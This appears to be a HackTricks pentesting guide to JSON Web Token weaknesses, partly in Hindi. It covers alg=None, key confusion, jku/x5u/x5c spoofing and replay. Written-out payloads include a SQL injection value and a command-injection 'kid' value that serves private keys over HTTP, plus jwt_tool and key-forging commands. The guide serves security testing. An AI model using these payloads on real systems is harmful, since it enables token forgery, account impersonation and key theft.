JWT Vulnerabilities (Json Web Tokens)

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

यदि आप हैकिंग करियर में रुचि रखते हैं और अडिग को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (फ्लूएंट पोलिश लिखित और मौखिक आवश्यक).

इस पोस्ट का एक हिस्सा शानदार पोस्ट पर आधारित है: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology JWTs को पेंटेस्ट करने के लिए महान टूल का लेखक https://github.com/ticarpi/jwt_tool

Quick Wins

Run jwt_tool with mode All Tests! and wait for green lines

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

यदि आप भाग्यशाली हैं, तो उपकरण कुछ मामलों को खोजेगा जहाँ वेब एप्लिकेशन JWT की गलत जांच कर रहा है:

फिर, आप अपने प्रॉक्सी में अनुरोध को खोज सकते हैं या उस अनुरोध के लिए उपयोग किए गए JWT को jwt_ tool का उपयोग करके डंप कर सकते हैं:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.

डेटा को बिना कुछ बदले टेम्पर करें

आप बस डेटा के साथ छेड़छाड़ कर सकते हैं जबकि सिग्नेचर को वैसा ही छोड़ सकते हैं और जांच सकते हैं कि क्या सर्वर सिग्नेचर की जांच कर रहा है। उदाहरण के लिए, अपने उपयोगकर्ता नाम को "admin" में बदलने की कोशिश करें।

क्या टोकन की जांच की जाती है?

यह जांचने के लिए कि क्या JWT का सिग्नेचर सत्यापित किया जा रहा है:

  • एक त्रुटि संदेश ongoing verification का सुझाव देता है; verbose errors में संवेदनशील विवरण की समीक्षा की जानी चाहिए।

  • लौटाए गए पृष्ठ में परिवर्तन भी सत्यापन का संकेत देता है।

  • कोई परिवर्तन नहीं होने पर कोई सत्यापन नहीं होता; यह तब होता है जब टेम्परिंग payload claims के साथ प्रयोग करने का समय होता है।

उत्पत्ति

यह निर्धारित करना महत्वपूर्ण है कि क्या टोकन सर्वर-साइड या क्लाइंट-साइड द्वारा उत्पन्न किया गया था, प्रॉक्सी के अनुरोध इतिहास की जांच करके।

  • क्लाइंट साइड से पहले देखे गए टोकन सुझाव देते हैं कि कुंजी क्लाइंट-साइड कोड के लिए उजागर हो सकती है, जिसके लिए आगे की जांच की आवश्यकता है।

  • सर्वर-साइड से उत्पन्न टोकन एक सुरक्षित प्रक्रिया को इंगित करते हैं।

अवधि

जांचें कि क्या टोकन 24 घंटे से अधिक समय तक रहता है... शायद यह कभी समाप्त नहीं होता। यदि "exp" फ़ील्ड है, तो जांचें कि क्या सर्वर इसे सही तरीके से संभाल रहा है।

Brute-force HMAC secret

इस पृष्ठ को देखें।

एल्गोरिदम को None में संशोधित करें

उपयोग किए गए एल्गोरिदम को "None" के रूप में सेट करें और सिग्नेचर भाग को हटा दें।

इस भेद्यता को आजमाने और JWT के अंदर विभिन्न मानों को बदलने के लिए Burp एक्सटेंशन "JSON Web Token" का उपयोग करें (अनुरोध को Repeater में भेजें और "JSON Web Token" टैब में आप टोकन के मानों को संशोधित कर सकते हैं। आप "Alg" फ़ील्ड के मान को "None" में रखने का विकल्प भी चुन सकते हैं)।

एल्गोरिदम RS256 (asymmetric) को HS256 (symmetric) में बदलें (CVE-2016-5431/CVE-2016-10555)

एल्गोरिदम HS256 प्रत्येक संदेश पर हस्ताक्षर करने और सत्यापित करने के लिए गुप्त कुंजी का उपयोग करता है। एल्गोरिदम RS256 संदेश पर हस्ताक्षर करने के लिए निजी कुंजी का उपयोग करता है और प्रमाणीकरण के लिए सार्वजनिक कुंजी का उपयोग करता है।

यदि आप एल्गोरिदम को RS256 से HS256 में बदलते हैं, तो बैक एंड कोड सार्वजनिक कुंजी को गुप्त कुंजी के रूप में उपयोग करता है और फिर सिग्नेचर को सत्यापित करने के लिए HS256 एल्गोरिदम का उपयोग करता है।

फिर, सार्वजनिक कुंजी का उपयोग करते हुए और RS256 को HS256 में बदलते हुए हम एक मान्य सिग्नेचर बना सकते हैं। आप इसे निष्पादित करते हुए वेब सर्वर का प्रमाणपत्र प्राप्त कर सकते हैं:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

New public key inside the header

An attacker embeds a new key in the header of the token and the server uses this new key to verify the signature (CVE-2018-0114).

This can be done with the "JSON Web Tokens" Burp extension. (Send the request to the Repeater, inside the JSON Web Token tab select "CVE-2018-0114" and send the request).

JWKS Spoofing

The instructions detail a method to assess the security of JWT tokens, particularly those employing a "jku" header claim. This claim should link to a JWKS (JSON Web Key Set) file that contains the public key necessary for the token's verification.

  • Assessing Tokens with "jku" Header:

  • Verify the "jku" claim's URL to ensure it leads to the appropriate JWKS file.

  • Modify the token's "jku" value to direct towards a controlled web service, allowing traffic observation.

  • Monitoring for HTTP Interaction:

  • Observing HTTP requests to your specified URL indicates the server's attempts to fetch keys from your provided link.

  • When employing jwt_tool for this process, it's crucial to update the jwtconf.ini file with your personal JWKS location to facilitate the testing.

  • Command for jwt_tool:

  • Execute the following command to simulate the scenario with jwt_tool:

python3 jwt_tool.py JWT_HERE -X s

Kid Issues Overview

An optional header claim known as kid is utilized for identifying a specific key, which becomes particularly vital in environments where multiple keys exist for token signature verification. This claim assists in selecting the appropriate key to verify a token's signature.

Revealing Key through "kid"

When the kid claim is present in the header, it's advised to search the web directory for the corresponding file or its variations. For instance, if "kid":"key/12345" is specified, the files /key/12345 and /key/12345.pem should be searched for in the web root.

Path Traversal with "kid"

The kid claim might also be exploited to navigate through the file system, potentially allowing the selection of an arbitrary file. It's feasible to test for connectivity or execute Server-Side Request Forgery (SSRF) attacks by altering the kid value to target specific files or services. Tampering with the JWT to change the kid value while retaining the original signature can be achieved using the -T flag in jwt_tool, as demonstrated below:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the /proc/sys/kernel/randomize_va_space file in Linux systems, known to contain the value 2, can be used in the kid parameter with 2 as the symmetric password for JWT generation.

SQL Injection via "kid"

If the kid claim's content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the kid payload. An example payload that uses SQL injection to alter the JWT signing process includes:

non-existent-index' UNION SELECT 'ATTACKER';-- -

This alteration forces the use of a known secret key, ATTACKER, for JWT signing.

OS Injection through "kid"

A scenario where the kid parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the kid parameter, it's possible to expose private keys. An example payload for achieving RCE and key exposure is:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u and jku

jku

jku stands for JWK Set URL. If the token uses a “jkuHeader claim then check out the provided URL. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.

First you need to create a new certificate with new private & public keys.

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

फिर आप उदाहरण के लिए jwt.io का उपयोग कर सकते हैं ताकि बनाए गए सार्वजनिक और निजी कुंजियों के साथ नया JWT बनाया जा सके और पैरामीटर jku को बनाए गए प्रमाणपत्र की ओर इंगित किया जा सके। एक मान्य jku प्रमाणपत्र बनाने के लिए, आप मूल प्रमाणपत्र डाउनलोड कर सकते हैं और आवश्यक पैरामीटर बदल सकते हैं।

आप सार्वजनिक प्रमाणपत्र से "e" और "n" पैरामीटर प्राप्त कर सकते हैं:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL. एक URI जो X.509 (एक प्रमाणपत्र प्रारूप मानक) सार्वजनिक प्रमाणपत्रों के सेट की ओर इशारा करता है जो PEM रूप में एन्कोडेड हैं। सेट में पहला प्रमाणपत्र वह होना चाहिए जिसका उपयोग इस JWT पर हस्ताक्षर करने के लिए किया गया है। इसके बाद के प्रमाणपत्र प्रत्येक पिछले पर हस्ताक्षर करते हैं, इस प्रकार प्रमाणपत्र श्रृंखला को पूरा करते हैं। X.509 को RFC 52807 में परिभाषित किया गया है। प्रमाणपत्रों को स्थानांतरित करने के लिए परिवहन सुरक्षा की आवश्यकता होती है।

कोशिश करें कि इस हेडर को एक URL में बदलें जो आपके नियंत्रण में हो और जांचें कि क्या कोई अनुरोध प्राप्त होता है। उस मामले में आप JWT को छेड़ सकते हैं

एक प्रमाणपत्र का उपयोग करके एक नया टोकन बनाने के लिए जिसे आप नियंत्रित करते हैं, आपको प्रमाणपत्र बनाना होगा और सार्वजनिक और निजी कुंजी निकालनी होगी:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

फिर आप उदाहरण के लिए jwt.io का उपयोग कर सकते हैं ताकि बनाए गए सार्वजनिक और निजी कुंजियों के साथ नया JWT बनाया जा सके और x5u पैरामीटर को बनाए गए .crt प्रमाणपत्र की ओर इंगित किया जा सके।

आप इन दोनों कमजोरियों का SSRFs के लिए भी दुरुपयोग कर सकते हैं।

x5c

यह पैरामीटर base64 में प्रमाणपत्र हो सकता है:

यदि हमलावर एक स्व-हस्ताक्षरित प्रमाणपत्र उत्पन्न करता है और संबंधित निजी कुंजी का उपयोग करके एक जाली टोकन बनाता है और "x5c" पैरामीटर के मान को नए उत्पन्न प्रमाणपत्र के साथ बदलता है और अन्य पैरामीटर, अर्थात् n, e और x5t को संशोधित करता है, तो मूल रूप से जाली टोकन सर्वर द्वारा स्वीकार किया जाएगा।

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Embedded Public Key (CVE-2018-0114)

यदि JWT में निम्नलिखित परिदृश्य की तरह एक सार्वजनिक कुंजी एम्बेड की गई है:

निम्नलिखित nodejs स्क्रिप्ट का उपयोग करके उस डेटा से एक सार्वजनिक कुंजी उत्पन्न करना संभव है:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

नया निजी/सार्वजनिक कुंजी उत्पन्न करना संभव है, नए सार्वजनिक कुंजी को टोकन के अंदर एम्बेड करना और इसका उपयोग करके एक नया हस्ताक्षर उत्पन्न करना:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

आप इस nodejs स्क्रिप्ट का उपयोग करके "n" और "e" प्राप्त कर सकते हैं:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Finally, using the public and private key and the new "n" and "e" values you can use jwt.io to forge a new valid JWT with any information.

ES256: समान nonce के साथ निजी कुंजी का खुलासा करना

यदि कुछ अनुप्रयोग ES256 का उपयोग करते हैं और दो jwts उत्पन्न करने के लिए समान nonce का उपयोग करते हैं, तो निजी कुंजी को पुनर्स्थापित किया जा सकता है।

यहाँ एक उदाहरण है: ECDSA: यदि समान nonce का उपयोग किया गया है तो निजी कुंजी का खुलासा करना (SECP256k1 के साथ)

JTI (JWT ID)

JTI (JWT ID) दावा एक JWT टोकन के लिए एक अद्वितीय पहचानकर्ता प्रदान करता है। इसका उपयोग टोकन को पुनः खेलने से रोकने के लिए किया जा सकता है। हालांकि, एक स्थिति की कल्पना करें जहाँ ID की अधिकतम लंबाई 4 है (0001-9999)। अनुरोध 0001 और 10001 समान ID का उपयोग करने जा रहे हैं। इसलिए यदि बैकएंड प्रत्येक अनुरोध पर ID को बढ़ा रहा है, तो आप इसका दुरुपयोग कर सकते हैं एक अनुरोध को पुनः खेलना (प्रत्येक सफल पुनः खेल के बीच 10000 अनुरोध भेजने की आवश्यकता है)।

JWT पंजीकृत दावे

अन्य हमले

क्रॉस-सेवा रिले हमले

यह देखा गया है कि कुछ वेब अनुप्रयोग अपने टोकनों के निर्माण और प्रबंधन के लिए एक विश्वसनीय JWT सेवा पर निर्भर करते हैं। ऐसे उदाहरण दर्ज किए गए हैं जहाँ एक ग्राहक के लिए JWT सेवा द्वारा उत्पन्न एक टोकन को उसी JWT सेवा के दूसरे ग्राहक द्वारा स्वीकार किया गया। यदि किसी तीसरे पक्ष की सेवा के माध्यम से JWT का जारी करना या नवीनीकरण देखा जाता है, तो उस सेवा के दूसरे ग्राहक पर उसी उपयोगकर्ता नाम/ईमेल का उपयोग करके एक खाता बनाने की संभावना की जांच की जानी चाहिए। फिर प्राप्त टोकन को लक्ष्य पर एक अनुरोध में पुनः खेलने का प्रयास किया जाना चाहिए यह देखने के लिए कि क्या इसे स्वीकार किया जाता है।

  • आपके टोकन के स्वीकार किए जाने से एक महत्वपूर्ण समस्या का संकेत मिल सकता है, जो किसी भी उपयोगकर्ता के खाते की नकल करने की अनुमति दे सकता है। हालाँकि, यह ध्यान रखना चाहिए कि तीसरे पक्ष के अनुप्रयोग पर साइन अप करने के लिए व्यापक परीक्षण की अनुमति की आवश्यकता हो सकती है, क्योंकि यह एक कानूनी ग्रे क्षेत्र में प्रवेश कर सकता है।

टोकनों की समाप्ति जांच

टोकन की समाप्ति "exp" Payload दावा का उपयोग करके जांची जाती है। यह देखते हुए कि JWT अक्सर सत्र की जानकारी के बिना उपयोग किए जाते हैं, सावधानीपूर्वक हैंडलिंग की आवश्यकता होती है। कई मामलों में, किसी अन्य उपयोगकर्ता के JWT को कैप्चर करना और पुनः खेलना उस उपयोगकर्ता की नकल करने में सक्षम कर सकता है। JWT RFC अनुशंसा करता है कि JWT पुनः खेल हमलों को कम करने के लिए "exp" दावा का उपयोग करके टोकन के लिए एक समाप्ति समय सेट किया जाए। इसके अलावा, इस मान को संसाधित करने और समाप्त टोकनों को अस्वीकार करने के लिए अनुप्रयोग द्वारा प्रासंगिक जांच का कार्यान्वयन महत्वपूर्ण है। यदि टोकन में "exp" दावा शामिल है और परीक्षण समय सीमाएँ अनुमति देती हैं, तो टोकन को संग्रहीत करना और समाप्ति समय बीतने के बाद इसे पुनः खेलना सलाह दी जाती है। टोकन की सामग्री, जिसमें टाइमस्टैम्प पार्सिंग और समाप्ति जांच (UTC में टाइमस्टैम्प) शामिल है, jwt_tool के -R ध्वज का उपयोग करके पढ़ी जा सकती है।

  • यदि अनुप्रयोग अभी भी टोकन को मान्य करता है, तो एक सुरक्षा जोखिम हो सकता है, क्योंकि इसका अर्थ हो सकता है कि टोकन कभी समाप्त नहीं हो सकता।

उपकरण

If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated